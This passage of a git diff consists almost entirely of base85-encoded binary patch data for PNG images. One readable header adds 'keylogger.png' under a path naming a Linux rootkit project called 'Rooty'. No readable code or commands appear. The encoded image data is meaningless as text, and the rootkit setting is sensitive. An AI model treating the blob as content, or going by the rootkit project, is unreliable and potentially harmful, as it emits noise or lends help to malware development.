zH5?Ze60^J7)zrn|a`-{(@WcJ*i+1FF&Xw}F#$Gnl&qXbr4L-N&4SRmZTWqwp$y8;S z1Alj!VeY@{dKCD>Nk>P=?_rEAF^emMH90vs85x9tc?3~KLP7#cLsr(<0hySJ2oILE zH)^riL%_vwr$Cmnj-U5zq!ubjZRkCAR+21d*2-Dr2iDlzl5`ZGlz43fkKEQBn3A5;(*=Uk@nXX0wF(Ys@=#el>b5#ov`}N{aP! z<{XOj4Y6k}yPk&%CrsfM5fl{k4G$j%o^E&d&{^3AsHnLv8^1PpgT`_S3KG1Z;Ul*b zK_K`f@LD60h>YkqEp_d^FXH<*T`I{c`VYy&uwO_&bRq9Xpcl%u9lhsfR$jU`6?po* zqf%*d`J|EBK=Y3j^=10-_OZ(qT(3D@X|t`Zqob3(v)w7j#+K`^#oLU=+U&q|zrgh7 z{MP2cRzHf@8lQ)sRkz`(!FP`jLN{w_Ci?4WLsNma5a7PR19$2(_5r~K#}l^VqOV?G zI3|GHIY-=b!NZZTy_a)i6mTOFaDxaqy%)If5ImW6F%I^ax&A_m_f0C|XY}t=5e6nk zW1HfZ)ynDV>0$jxG2ee1LjTY)`ZG|~2qJPjdEb--L6b#I4d*)fCM^Rc@GE|wqwXqH zD3WH_<#Uzx7ae48VKf6H1N$!_E7aJSnqMzrR61=|vzlJlAuJITJbxYMd!Qo%q~-2l zHZV1H5%_jsRqDbMjD8gYEHnrKKECw3aV#wTujSi=JO|X&)JLi`baZ5hiy?R}Da0sa zC|v|Lxk!kptBW1E1PLV2_6cM>JetIjUxkS?Wq)m-3N^e$UWE@ha&?d7)7j{GeU2vP z4!f%DOM)Nr?)(kDeP9K5ns0WRFA2n#LC5FI@ka0n4TG@vi*`*0WaC_$$QQf7!!-hH zwqE{b{gp|e(3Q;6A##-O&#b1OYbigY27K4f?$)aBP+hgf&9$i*_dCW;f|*Z(s}R4f zzIDwt&kq~?d`_Pd>yK4@n#FH6fUWoR^aKmqxmCE6 z@0ww8l^)?lQtF4y`PZ5x>pCCPiE;4OmcD%JA{NKi!Na75;E{6TQgY%Ga;_5KuhIpb z8SclJxKxX(R#O0FZj@L;I_XaxJE%0DsO+6CtUwaqudmK=HT#y=2X$UuA1pl+F?2Oj zs>mvm%^aXn*@~g6k|<`DEM}Il7?Vt(yU?4>ovb(N^R*-6Sq;}-ko6?dM1hu7Q4xhT z{l7gz&_JQJ)_S@eVlH7R>hJMW*f+g!pnPnwF^S*6B6jg)a_~FM=r~NMI1ETS{3K!d zsf4$S=hml&w@Djjiz&(-lwIM7neK!l+7Kw>@=dyJT*d*t*+uXrF$|*c9i$!J%pAGs z8?}*IZe@XBVp+iuUD*(|f$(;96t1h86?J2mr<=Hxv6+;#nxnQW>(g`Yg&R@x|3@3s zsI#K7vZ$nlEDPyxfqNLdl8J_nH-NYW|K){;knj=_s&%{G>vlQz_Lmd_okVguemgOK zlyeZ4fcXFs?yu6^2qdXrP~Q8lADyA%iO?@c$O^xBu?1iGJkZBn{hpx!3~m+c=J9Pa z+o$84b2e9#|ELpDR*Y6uBr&R;k)hHj-5nT9+OITs`AN`>zVltg+-7%-?7tt;F!LYm z_`v>#!Ql?drKO3`TKg+S_#r;_9wwag$nu)1sCJ|qkVk6flqo!HI2e1 z&M$`#Fh$<2h;jtr1?F2sz%=tf!+u@qKs>NGK;z_Ma`9@Ifv^< z9amuid1m>RyTG5sCUwgSdOAbaowdDzsK1X`@L%NXBebfz`qab(Ls|LX0<4M8Js_;M zEIr@ayHO`1S*N_JwT+5!A`;7!a3|p%pRrYeWiDw4Ig4Y}k#FkCzVT`o>)J%DUSdsV z<)6ERdx4%+S4u+k=7l?eG|k+ z@|jGT<>XBH-F&%2N=~rzzf$I|d~wb693?WDniGz{@VUiOQBVFFkk!zT{9i!{N(4X{ zySV;^Et|Y+jEX$Gi#*Mm&F)%F(8#W*$Twd=qwnH6@Xy*i9TEw3*COLT^?4Zi=E?zm z>?gw|NKzV(4Nl`-7RAz&Ghd^e;DDz*eZ?hO)-=%}zp%~miR1a1-R0Sa?`v3p!S>XS zHv+ZtA3n&r8hNTIIhiTBRWRj>C8}oJL2BpdbBEq%y4HTj&}fahsp6b`c|FyX1rUk3u&y1jZ1K<&s?Di4O1k{L`_ZuAZ~em81SM!O5BZ z(OK;!!rUQR<-AHI-Abd;T1aTc;QQIjDV?So;V6Ut@D3*n%_!(K zh#RL19N|wQXKM=f*I4ZA@2_NKb-agYiudv%#U1_3|D3T%A)&6`-qGIK_SwOuF8kKt zO9=ZTFTM|VGtB&5811$s=p|GP(q!+&ecPyMH>vm$R9Ge1q=)8V=Fi{Ib;-cv{23;5 z+Eaxbjslk#m~Ka z&JxxKlFgwd@%wfkogCd;zAT3-fsO$TG0CS_r1^@s6 literal 0 HcmV?d00001 diff --git a/Linux/Rootkits/Rooty/art/keylogger.png b/Linux/Rootkits/Rooty/art/keylogger.png new file mode 100644 index 0000000000000000000000000000000000000000..aee80fe0494299e2281e2ac209b5ab33311a5f11 GIT binary patch literal 139594 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 